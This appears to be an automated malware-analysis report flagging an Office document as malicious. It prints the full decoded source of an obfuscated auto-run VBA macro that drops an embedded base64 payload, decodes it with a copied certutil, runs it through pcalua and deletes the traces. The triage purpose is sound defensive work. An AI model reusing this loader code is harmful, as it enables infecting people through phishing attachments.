MALICIOUS
192
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
This OOXML document contains a malicious VBA macro, specifically an obfuscated auto-exec loader with a Workbook_Open trigger. The macro utilizes the Shell() function, indicating an intent to download and execute a second-stage payload. The presence of VBA macros and the use of Shell() are strong indicators of malicious activity, likely delivered as a spearphishing attachment.
Heuristics 7
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VBA project inside OOXML medium 4 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Function HhlbesJwagyLvAUIuERk(wgHFJlWzZmRqIoubcCKpAiLhTP) shell (wgHFJlWzZmRqIoubcCKpAiLhTP) End Function -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
Function HhlbesJwagyLvAUIuERk(wgHFJlWzZmRqIoubcCKpAiLhTP) shell (wgHFJlWzZmRqIoubcCKpAiLhTP) End Function -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Function Sub Workbook_Open() SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 7448 bytes |
SHA-256: a94088a5c31e9c600e792193607713d113498c454addf339b39b38c3c551fa36 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
75 of 97 identifiers look randomly generated (e.g. 'cm06W35KbX5Qf140V35rK0RPbF5rbWRQIHhDOn9Q'); 1 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Sub SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT()
Dim SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT
SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT = Replace("RniyBeMSpXVwqfLcTRsWvuCJPoHZUbzEDAtkaun", "niyBeMSpXVwqfLcTRsWvuCJPoHZUbzEDAtka", "")
Dim rgqipGlhBATPfVMWkwXNuSjvFDZtxyasUnQe
rgqipGlhBATPfVMWkwXNuSjvFDZtxyasUnQe = Replace("DeNSELAWlGUuZrCHXdoMaRPiTjcJtIM_string", "eNSELAWlGUuZrCHXdoMaRPiTjcJt", "")
Dim ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM
ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM = Replace("%tzZvYtDCoeXIfNThWdmiaemp%", "zZvYtDCoeXIfNThWdmia", "")
Dim eRXlhCDzUyjVrScFfmquTMHGktxBPvsbQgIo
eRXlhCDzUyjVrScFfmquTMHGktxBPvsbQgIo = Replace("cetiOhrXcyFbPKaMCopzGEkjvfqVuRIrtPath", "tiOhrXcyFbPKaMCopzGEkjvfqVuRI", "")
Dim CnTAIZRFMbmxscikOKfgEdhyXrjBPNQYJL
CnTAIZRFMbmxscikOKfgEdhyXrjBPNQYJL = Replace("eeVbncFIoAfsWMtrpTHvlYLQOkGuziZPgSXKqxjJxe", "eVbncFIoAfsWMtrpTHvlYLQOkGuziZPgSXKqxjJ", "")
Dim vFGyowrNflzdHIOjWYJtnQmikBcsATDXab
vFGyowrNflzdHIOjWYJtnQmikBcsATDXab = Replace("cIQHhkoGXaWqPKLxBgUNnOzopy", "IQHhkoGXaWqPKLxBgUNnOz", "")
Dim HzBxynFRdmogGXqbMNEeiAPwvuOQspCDrtUITlLkYZKfJjVhS
HzBxynFRdmogGXqbMNEeiAPwvuOQspCDrtUITlLkYZKfJjVhS = Replace("aCfoGXmAOxYustZPTWNKDywJQcdSUpnBjglua", "CfoGXmAOxYustZPTWNKDywJQcdSUpnBjg", "")
Dim vRDUMJnFIGmrKubizZYkCdOsXxpecWqNB
vRDUMJnFIGmrKubizZYkCdOsXxpecWqNB = Replace("WjGNOdRzUbTxQWLvocstJCnDFhkBapAVmrPind", "jGNOdRzUbTxQWLvocstJCnDFhkBapAVmrP", "")
Dim wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf
wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf = Replace("tDdrkFaVyMWSYuZjNexHPoJGARLChnpEcxtFile", "DdrkFaVyMWSYuZjNexHPoJGARLChnpEc", "")
Dim RuxnLVtyCiFQjpoZTremOGHlBAfaqNhSbdzEXg
RuxnLVtyCiFQjpoZTremOGHlBAfaqNhSbdzEXg = Replace("tpRLVeagxNwlQdrJWYncAGvUDxt", "pRLVeagxNwlQdrJWYncAGvUD", "")
Dim nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ
nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ = Replace("vbsqDsPxIlatTCYBwpXjOMGmEWkHdVinhSbNFile", "qDsPxIlatTCYBwpXjOMGmEWkHdVinhSbN", "")
Dim YeokBIsMxcJXWKqmnFfNaOSCituvbjHZGVdhQgPUEzALlwRDry
YeokBIsMxcJXWKqmnFfNaOSCituvbjHZGVdhQgPUEzALlwRDry = Replace("vznEfgHxRtBYaPleUSvjDICZwVJuTNdihMAbe", "znEfgHxRtBYaPleUSvjDICZwVJuTNdihMA", "")
Dim wEkFKutZcNOxLafvVzgDrySpTqjJCUHARmBe
wEkFKutZcNOxLafvVzgDrySpTqjJCUHARmBe = Replace("vblKZNtRVuiwUvmjnFXAcPkOrCdpfosB64string", "lKZNtRVuiwUvmjnFXAcPkOrCdpfo", "")
Dim TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU
TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU = Replace("cJrEVOCukvmQaxtbhjRUKqLBTzYZgWNAIlcHmd", "JrEVOCukvmQaxtbhjRUKqLBTzYZgWNAIlcH", "")
Dim jAEzosPBSDQrOgGdxkiMXtmZwlphfqbevCuaYUR
jAEzosPBSDQrOgGdxkiMXtmZwlphfqbevCuaYUR = Replace("ecKZQPqfrzsnNjyhwEXoGAVxaYUbmcJkho", "KZQPqfrzsnNjyhwEXoGAVxaYUbmcJk", "")
Dim bVManEeGmfsAlHTFrwZRNjWScDXJoKyiYOxvhqIQPdzLBkuUp
bVManEeGmfsAlHTFrwZRNjWScDXJoKyiYOxvhqIQPdzLBkuUp = Replace("-decoCxBEcMHKlfYAyRZawuzPLde", "CxBEcMHKlfYAyRZawuzPL", "")
Dim qunCmXOERLowtNZiIYGaDxvJeSTVBpAFdHPUQk
qunCmXOERLowtNZiIYGaDxvJeSTVBpAFdHPUQk = Replace("commaCuyBOkNlFTmwKPzgeQXrAnxJsDSUcpdnd1", "CuyBOkNlFTmwKPzgeQXrAnxJsDSUcpd", "")
Dim HiXuSZsRJQClpVYnaTLfkbDcrxtEwhqW
HiXuSZsRJQClpVYnaTLfkbDcrxtEwhqW = Replace("compirNYTMDxhaXqdnsGmklRHfvezUjyBSVZubCWIPtmand2", "pirNYTMDxhaXqdnsGmklRHfvezUjyBSVZubCWIPt", "")
Dim SAOQxhZuJPMTplEdesgBCwfzLNVvjYbFiKRWUorkmqHIGDynt
SAOQxhZuJPMTplEdesgBCwfzLNVvjYbFiKRWUorkmqHIGDynt = Replace("comyXpUkEdGIzTfcxLgsiVFMQZeowRYOKPmand3", "yXpUkEdGIzTfcxLgsiVFMQZeowRYOKP", "")
Dim lpBXhRwtaAfNuzvrTMKSOJWLyPsHQCYx
lpBXhRwtaAfNuzvrTMKSOJWLyPsHQCYx = Replace("dUYoxWQjFzTyOkwMpqAfdNDeVvJtBgbaKel", "UYoxWQjFzTyOkwMpqAfdNDeVvJtBgbaK", "")
Dim LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE
LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE = Replace("GfgXqxbKVsCRHmGkJBhoteSPiOcvaYjTiyOQAEtkVKUCwj", "xbKVsCRHmGkJBhoteSPiOcvaYj", "")
wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf = ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM & "\" & LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE & "." & RuxnLVtyCiFQjpoZTremOGHlBAfaqNhSbdzEXg
nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ = ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM & "\" & LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE & "." & YeokBIsMxcJXWKqmnFfNaOSCituvbjHZGVdhQgPUEzALlwRDry
panfu = Chr(57 + 10) & Chr(5 * 2 + 1 + 47) & Chr(1050 - 958)
eRXlhCDzUyjVrScFfmquTMHGktxBPvsbQgIo = panfu & vRDUMJnFIGmrKubizZYkCdOsXxpecWqNB & "ows\Syst" & "em32\cer" & "tutil." & CnTAIZRFMbmxscikOKfgEdhyXrjBPNQYJL
tempcert = panfu & vRDUMJnFIGmrKubizZYkCdOsXxpecWqNB & "ows\te" & "mp\pc" & HzBxynFRdmogGXqbMNEeiAPwvuOQspCDrtUITlLkYZKfJjVhS & "." & CnTAIZRFMbmxscikOKfgEdhyXrjBPNQYJL
wEkFKutZcNOxLafvVzgDrySpTqjJCUHARmBe = "I0B+XlFRRUFBQT09QCNAJmYodFBLNExVdH9zVixQQCNAJmsrT35LNExVNCteVlB7fkEvMURid09SXi5/bE8rfThMf21PY3JoL14uYndPUms0f1ZzciMsQCNAJmBJZH4nLEo0WUR3bCZKJixjcSFSUiorIHFGUilSISZsRUAjQCZtRzpzQ3g5UHh+cm06W35KbX5Qf140V35rK0RPbF5rbWRQIHhDOn9QNDQ0UE83Q1YhK1AmM3BpNHQ0YEgrQVJ9NCUrMU9QckpIbjpSf244Oz1zayNuCVlFciNjSkpHV1NVPV49R2w5P08uI2t4VEVKdkJKLCd+aiJTLFt+SnZiLHV+XWFkOktOO3N/d2xPND1VK2NCcVpdfiBQckAjQCZiSX9PRU14ficsVzglVXQrXnNSIkV4dl5HOnNsCU5TUFRTLEtdakFiUCxAI0AmQ2wwQUFBPT1eI35AAA=="
qunCmXOERLowtNZiIYGaDxvJeSTVBpAFdHPUQk = TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU & " /c " & jAEzosPBSDQrOgGdxkiMXtmZwlphfqbevCuaYUR & " " & wEkFKutZcNOxLafvVzgDrySpTqjJCUHARmBe & " > " & wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf
HiXuSZsRJQClpVYnaTLfkbDcrxtEwhqW = TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU & " /c " & vFGyowrNflzdHIOjWYJtnQmikBcsATDXab & " " & eRXlhCDzUyjVrScFfmquTMHGktxBPvsbQgIo & " " & tempcert & " " & Chr(38) & Chr(38) & " " & tempcert & " " & bVManEeGmfsAlHTFrwZRNjWScDXJoKyiYOxvhqIQPdzLBkuUp & " " & wEKpajIMyXbxzotTUPJSmLkCQZnGvYNqWcDRlFuBgdVAf & " " & nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ
SAOQxhZuJPMTplEdesgBCwfzLNVvjYbFiKRWUorkmqHIGDynt = TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU & " /c pcal" & "ua -a " & nNVhKEcWoueYLwRprtqfAkBUDzPamZjSisFITgbCxlQ
MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw (qunCmXOERLowtNZiIYGaDxvJeSTVBpAFdHPUQk)
MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw (HiXuSZsRJQClpVYnaTLfkbDcrxtEwhqW)
Sleep (2000)
MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw (SAOQxhZuJPMTplEdesgBCwfzLNVvjYbFiKRWUorkmqHIGDynt)
Sleep (2000)
MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw (TQeWAmMjsYHrlaDxkInfiGhOFNpXdZqBCbcuSygLVvU & " /c " & lpBXhRwtaAfNuzvrTMKSOJWLyPsHQCYx & " /f /s " & ZCFAtGHDiEdzhyxVLfvrBugOekapJjRwYoIXsNWqPmKM & "\" & LRjDhBvGCUeFySrocdPzYWusKwaXIiAxpNE & ".*")
End Sub
Function HhlbesJwagyLvAUIuERk(wgHFJlWzZmRqIoubcCKpAiLhTP)
shell (wgHFJlWzZmRqIoubcCKpAiLhTP)
End Function
Function MPqGolACRjvLTBFsYhNxXpJOWtZeIHiVucgEw(GQtvrRbAeWVzLJCsmYISXFNUZqBfnyx)
shell (GQtvrRbAeWVzLJCsmYISXFNUZqBfnyx)
End Function
Function OVvjQhrKztbTIpXsYyDGnMlJaBmwxS(JOFqmaXiWCHvQRjMVweDLSsEkrUdKPIoBhfgGl)
shell (JOFqmaXiWCHvQRjMVweDLSsEkrUdKPIoBhfgGl)
End Function
Sub Workbook_Open()
SzgEIZAMjNGahHdQbCLBYyOPKnVpRDsWmJvuqofeiUltXT
End Sub
Attribute VB_Name = "NewMacros"
Sub shell()
'
' shell ��
'
'
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 24064 bytes |
SHA-256: 4e7f50a91d3b5de263df72f6fe31d4782593d412f01bdc020b08b82509877b0e |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
330 of 493 identifiers look randomly generated (e.g. 'cm06W35KbX5Qf140V35rK0RPbF5rbWRQIHhDOn9Q') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
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